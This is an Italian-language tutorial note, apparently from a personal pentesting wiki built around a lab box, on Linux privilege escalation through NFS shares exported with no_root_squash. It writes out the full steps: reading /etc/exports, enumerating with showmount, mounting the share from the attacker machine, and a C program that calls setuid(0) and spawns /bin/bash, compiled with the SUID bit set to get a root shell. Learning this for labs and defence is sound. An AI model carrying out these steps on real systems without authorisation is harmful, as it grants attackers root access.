tags: priv_esc NFS linux file_sharing #/etc/exports
NFS sta per “Network File System” e consente a un sistema di condividere directory e file con altri tramite una rete. Utilizzando NFS, utenti e programmi possono accedere ai file su sistemi remoti quasi come se fossero file locali. Ciò avviene montando tutto o una parte di un file system su un server. La parte del file system che viene montata può essere accessibile dai client con qualsiasi privilegio assegnato a ciascun file.
nota Per l’enumerazione del servizio NFS visita la pagina Enumerazione NFS.
Un ulteriore vettore per ottenere una privilage escalation è una shell di rete configurata male. Per verificare se ci sono cartelle vulnerabili all’interno dell’ NSF possiamo utilizzare il seguente comando:
karen@ip-10-10-167-116:/$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/home/backup *(rw,sync,insecure,no_root_squash,no_subtree_check)
/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)La sezione interessante di questo output è il no_root_squash. Di default, NFS cambierà l’utente root in nfsnobody e impedirà a qualsiasi file di operare con privilegi di root. Se l’opzione “no_root_squash” è presente su una condivisione scrivibile, possiamo creare un eseguibile con bit SUID impostato ed eseguirlo sul sistema di destinazione.
Per prima cosa dobbiamo enumerare le condivisioni montabili, per farlo possiamo usare la nostra macchina attaccante ed eseguire il seguente comando(Sostituendo l’indirizzo IP):
showmount -e 10.10.167.116
Export list for 10.10.167.116:
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *Da questo output possiamo vedere che queste tre cartelle sono vulnerabili e nel caso avessimo accesso tramite user della macchina vittima ad una di esse come in questo caso che abbiamo accesso alla cartella /home/ubuntu/sharedfolder possiamo connetterci tramite mount e passargli un file malevolo che ci permetterà di ottenere una shell di root. Per farlo andiamo nella nostra macchina attaccante e ci colleghiamo con la cartella vittima tramite il seguente comando:
mkdir /tmp/backupattacker
sudo mount -o rw indirizzoIP:/home/ubuntu/sharedfolder /tmp/backupattacker
#Questo comando monta la directory vulnerabile **sharedfolder** della vittima nella tua directory locale **/tmp/backupattacker**. Ora puoi creare o caricare file su quella directory.Per vedere se è correttamente collegata possiamo usare il comando “mount” e vedere se appare nella lista.
Ora sempre dalla nostra macchina attaccante andiamo nella cartella /tmp/backupattacker e ci creiamo un file in C:
#include <stdio.h> // Per printf e altri input/output
#include <stdlib.h> // Per la funzione system()
#include <unistd.h> // Per setgid() e setuid()
int main() {
setgid(0); // Cambia il GID al root
setuid(0); // Cambia l'UID al root
system("/bin/bash"); // Esegue la shell di root
return 0;
}Ora lo compiliamo e gli diamo i permessi :
gcc file.c -o file -w
chmod +s file
nota
Se non capisci il perchè del chmod +s vai alla paginaSUDO e SUID
Ora in teoria dato che ci siamo collegati alla cartella vulnerabile tramite il comando mount dovrebbero apparire nella cartella vulnerabile della vittima, in questo caso sharedfolder, i nostri due file appena creati che se eseguiti tramite il comando ./file dovrebbe darci una shell di root.
Per ulteriori dettagli sull’enumerazione di questo servizio puoi guardare la pagina Enumerazione NFS.